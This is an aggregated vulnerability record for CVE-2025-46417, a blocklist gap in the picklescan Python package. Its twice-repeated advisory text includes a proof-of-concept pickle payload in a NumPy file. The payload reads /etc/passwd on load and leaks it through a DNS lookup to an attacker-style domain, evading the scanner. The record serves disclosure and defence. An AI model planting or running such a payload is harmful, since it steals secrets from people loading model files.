{"id":"CVE-2025-46417","aliases":["EUVD-2025-11963","GHSA-93mv-x874-956g","PYSEC-2025-34"],"status":"published","title":"Picklescan Vulnerable to Exfiltration via DNS via linecache and ssl.get_server_certificate","description":"The unsafe globals in Picklescan before 0.0.25 do not include ssl. Consequently, ssl.get_server_certificate can exfiltrate data via DNS after deserialization.","severity":{"version":"4.0","score":6.8,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00228,"percentile":0.13697,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-184"],"published":"2025-04-07T18:52:47Z","modified":"2026-10-28T02:30:23Z","fixes":[{"ecosystem":"PyPI","package":"picklescan","fixed_in":["0.0.25"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"picklescan","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.25"}]}]},{"source":"osv","ecosystem":"PyPI","package":"picklescan","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.25"}]}],"versions":["0.0.1","0.0.10","0.0.11","0.0.12","0.0.13","0.0.14","0.0.15","0.0.16","0.0.17","0.0.18","0.0.19","0.0.2","0.0.20","0.0.21","0.0.22","0.0.23","0.0.24","0.0.3","0.0.4","0.0.5","0.0.6","0.0.7","0.0.8","0.0.9"]},{"source":"osv","ecosystem":"PyPI","package":"picklescan","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.25"}]}],"versions":["0.0.1","0.0.10","0.0.11","0.0.12","0.0.13","0.0.14","0.0.15","0.0.16","0.0.17","0.0.18","0.0.19","0.0.2","0.0.20","0.0.21","0.0.22","0.0.23","0.0.24","0.0.3","0.0.4","0.0.5","0.0.6","0.0.7","0.0.8","0.0.9"]}],"products":[{"vendor":"mmaitre314","product":"picklescan"},{"vendor":"picklescan","product":"picklescan"}],"references":[{"url":"https://github.com/advisories/GHSA-93mv-x874-956g","tags":["exploit","Exploit","Third Party Advisory","advisory"]},{"url":"https://github.com/mmaitre314/picklescan/pull/40","tags":["Issue Tracking","Patch","fix","web"]},{"url":"https://github.com/mmaitre314/picklescan/security/advisories/GHSA-93mv-x874-956g","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-46417","tags":["advisory"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/picklescan/PYSEC-2025-34.yaml","tags":["web"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/46xxx/CVE-2025-46417.json","tags":["advisory"]},{"url":"https://github.com/mmaitre314/picklescan","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2025-46417","description":"The unsafe globals in Picklescan before 0.0.25 do not include ssl. Consequently, ssl.get_server_certificate can exfiltrate data via DNS after deserialization.","status":"published","published":"2025-04-24T00:00:00Z","modified":"2025-04-24T14:51:19.232Z","cvss":[{"version":"4.0","score":6.8,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"medium","assessor":"cna"}],"cwes":["CWE-184"],"updated_at":"2026-11-02T14:32:36.706507Z"}],"euvd":[{"id":"EUVD-2025-11963","description":"The unsafe globals in Picklescan before 0.0.25 do not include ssl. Consequently, ssl.get_server_certificate can exfiltrate data via DNS after deserialization.","status":"published","published":"2025-04-24T00:00:00Z","modified":"2025-04-24T14:51:19Z","cvss":[{"version":"4.0","score":6.8,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"medium"}],"updated_at":"2026-11-02T20:52:04.724433Z"}],"ghsa":[{"id":"GHSA-93mv-x874-956g","title":"Picklescan Vulnerable to Exfiltration via DNS via linecache and ssl.get_server_certificate","description":"### Summary\n\nPicklescan does not detect malicious pickles that exfiltrate sensitive information via DNS after deserialization.\n\n\n### Details\n\npicklescan’s blacklist can be bypassed to exfiltrate sensitive information (like file contents, secrets, or credentials) during model deserialization by leveraging `ssl.get_server_certificate` as the callable function in the pickle payload. Since `ssl` is a standard Python library used for legitimate TLS operations, it is rarely blacklisted by static scanners or runtime monitors.\n\nThe payload avoids flagged modules and instead uses `linecache` (also unflagged) to read local files. The exfiltrated data is added to DNS-safe chunks, and embedded as subdomains in a crafted FQDN.  When passed to `ssl.get_server_certificate`, the Python runtime performs a DNS resolution to the attacker-controlled domain, leaking the encoded content.\n\nThe payload executes the following steps:\n\n- Reads sensitive local file content using `linecache` module\n- Encodes the data for DNS exfiltration\n- Constructs a malicious domain name using a third party service `dnslog.cn` \n- Triggers a DNS resolution via `ssl.get_server_certificate`\n- Leaks the encoded file content to the attacker\n\n### PoC\n\nBefore running the PoC change the `fqdn` to your own or a third party that you control. In this PoC we used ` fqdn = f\"{subdomain}.ctmc2q.dnslog.cn\"`.\n\n```python\n\nimport numpy as np\n\ndef create_malicious_model():\n# Define the payload class\n    class DNSLogPayload:\n        def __reduce__(self):\n            # Step 1: read a line from /etc/passwd\n            linecache = __import__(\"linecache\")\n            first_line = linecache.getline(\"/etc/passwd\", 1).strip()\n\n            # Step 2: Sanitize and embed it as a DNS subdomain\n            subdomain = first_line.replace(\":\", \"_\").replace(\"/\", \"_\")\n            fqdn = f\"{subdomain}.dns-logger.invalid\"\n\n            # Step 3: Use ssl.get_server_certificate to trigger DNS resolution\n            ssl_mod = __import__(\"ssl\")\n            return (getattr(ssl_mod, \"get_server_certificate\"), ((fqdn, 443),))\n\n    # Wrap the payload in a NumPy object array\n    arr = np.array([DNSLogPayload()], dtype=object)\n\n    # Save to .npy file\n    np.save(\"dnslog_trigger_payload.npy\", arr, allow_pickle=True)   \n\ndef load_model(model):\n    try:\n        return np.load(model, encoding=\"latin1\", fix_imports=True, allow_pickle=1)\n    except Exception:\n        raise ValueError(\"Invalid file\")\n\nif __name__ == \"__main__\":\n    create_malicious_model()\n    model = \"dnslog_trigger_payload.npy\"\n    print(\"[i] Loading and executing the model\")\n    data = load_model(model)\n \n```\n\n### Impact\n\n1. Evade detection: Bypasses the latest version of picklescan's blacklist. \n2. Exfiltrate sensitive local files to an attacker controlled DNS","status":"published","published":"2025-04-07T18:52:47Z","modified":"2025-04-24T16:02:37Z","cvss":[{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-184"],"updated_at":"2026-11-02T14:38:41.402125Z"}],"nvd":[{"id":"CVE-2025-46417","description":"The unsafe globals in Picklescan before 0.0.25 do not include ssl. Consequently, ssl.get_server_certificate can exfiltrate data via DNS after deserialization.","status":"published","published":"2025-04-24T01:15:49.983Z","modified":"2026-06-17T09:26:22.467Z","cvss":[{"version":"4.0","score":6.8,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium","assessor":"secondary"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high","assessor":"primary"}],"cwes":["CWE-184"],"updated_at":"2026-11-02T14:11:01.507281Z"}],"osv":[{"id":"CVE-2025-46417","description":"The unsafe globals in Picklescan before 0.0.25 do not include ssl. Consequently, ssl.get_server_certificate can exfiltrate data via DNS after deserialization.","status":"published","published":"2025-04-24T00:00:00Z","modified":"2026-10-28T02:30:23.563236099Z","cvss":[{"version":"4.0","score":6.8,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-184"],"updated_at":"2026-11-02T15:44:49.707645Z"},{"id":"GHSA-93mv-x874-956g","title":"Picklescan Vulnerable to Exfiltration via DNS via linecache and ssl.get_server_certificate","description":"### Summary\n\nPicklescan does not detect malicious pickles that exfiltrate sensitive information via DNS after deserialization.\n\n\n### Details\n\npicklescan’s blacklist can be bypassed to exfiltrate sensitive information (like file contents, secrets, or credentials) during model deserialization by leveraging `ssl.get_server_certificate` as the callable function in the pickle payload. Since `ssl` is a standard Python library used for legitimate TLS operations, it is rarely blacklisted by static scanners or runtime monitors.\n\nThe payload avoids flagged modules and instead uses `linecache` (also unflagged) to read local files. The exfiltrated data is added to DNS-safe chunks, and embedded as subdomains in a crafted FQDN.  When passed to `ssl.get_server_certificate`, the Python runtime performs a DNS resolution to the attacker-controlled domain, leaking the encoded content.\n\nThe payload executes the following steps:\n\n- Reads sensitive local file content using `linecache` module\n- Encodes the data for DNS exfiltration\n- Constructs a malicious domain name using a third party service `dnslog.cn` \n- Triggers a DNS resolution via `ssl.get_server_certificate`\n- Leaks the encoded file content to the attacker\n\n### PoC\n\nBefore running the PoC change the `fqdn` to your own or a third party that you control. In this PoC we used ` fqdn = f\"{subdomain}.ctmc2q.dnslog.cn\"`.\n\n```python\n\nimport numpy as np\n\ndef create_malicious_model():\n# Define the payload class\n    class DNSLogPayload:\n        def __reduce__(self):\n            # Step 1: read a line from /etc/passwd\n            linecache = __import__(\"linecache\")\n            first_line = linecache.getline(\"/etc/passwd\", 1).strip()\n\n            # Step 2: Sanitize and embed it as a DNS subdomain\n            subdomain = first_line.replace(\":\", \"_\").replace(\"/\", \"_\")\n            fqdn = f\"{subdomain}.dns-logger.invalid\"\n\n            # Step 3: Use ssl.get_server_certificate to trigger DNS resolution\n            ssl_mod = __import__(\"ssl\")\n            return (getattr(ssl_mod, \"get_server_certificate\"), ((fqdn, 443),))\n\n    # Wrap the payload in a NumPy object array\n    arr = np.array([DNSLogPayload()], dtype=object)\n\n    # Save to .npy file\n    np.save(\"dnslog_trigger_payload.npy\", arr, allow_pickle=True)   \n\ndef load_model(model):\n    try:\n        return np.load(model, encoding=\"latin1\", fix_imports=True, allow_pickle=1)\n    except Exception:\n        raise ValueError(\"Invalid file\")\n\nif __name__ == \"__main__\":\n    create_malicious_model()\n    model = \"dnslog_trigger_payload.npy\"\n    print(\"[i] Loading and executing the model\")\n    data = load_model(model)\n \n```\n\n### Impact\n\n1. Evade detection: Bypasses the latest version of picklescan's blacklist. \n2. Exfiltrate sensitive local files to an attacker controlled DNS","status":"published","published":"2025-04-07T18:52:47Z","modified":"2026-07-08T07:14:03.710478106Z","cvss":[{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-184"],"updated_at":"2026-11-02T15:46:43.123867Z"},{"id":"PYSEC-2025-34","description":"The unsafe globals in Picklescan before 0.0.25 do not include ssl. Consequently, ssl.get_server_certificate can exfiltrate data via DNS after deserialization.","status":"published","published":"2025-04-24T01:15:49Z","modified":"2025-04-24T03:42:20.380984Z","updated_at":"2026-11-02T15:52:54.242332Z"}]}}
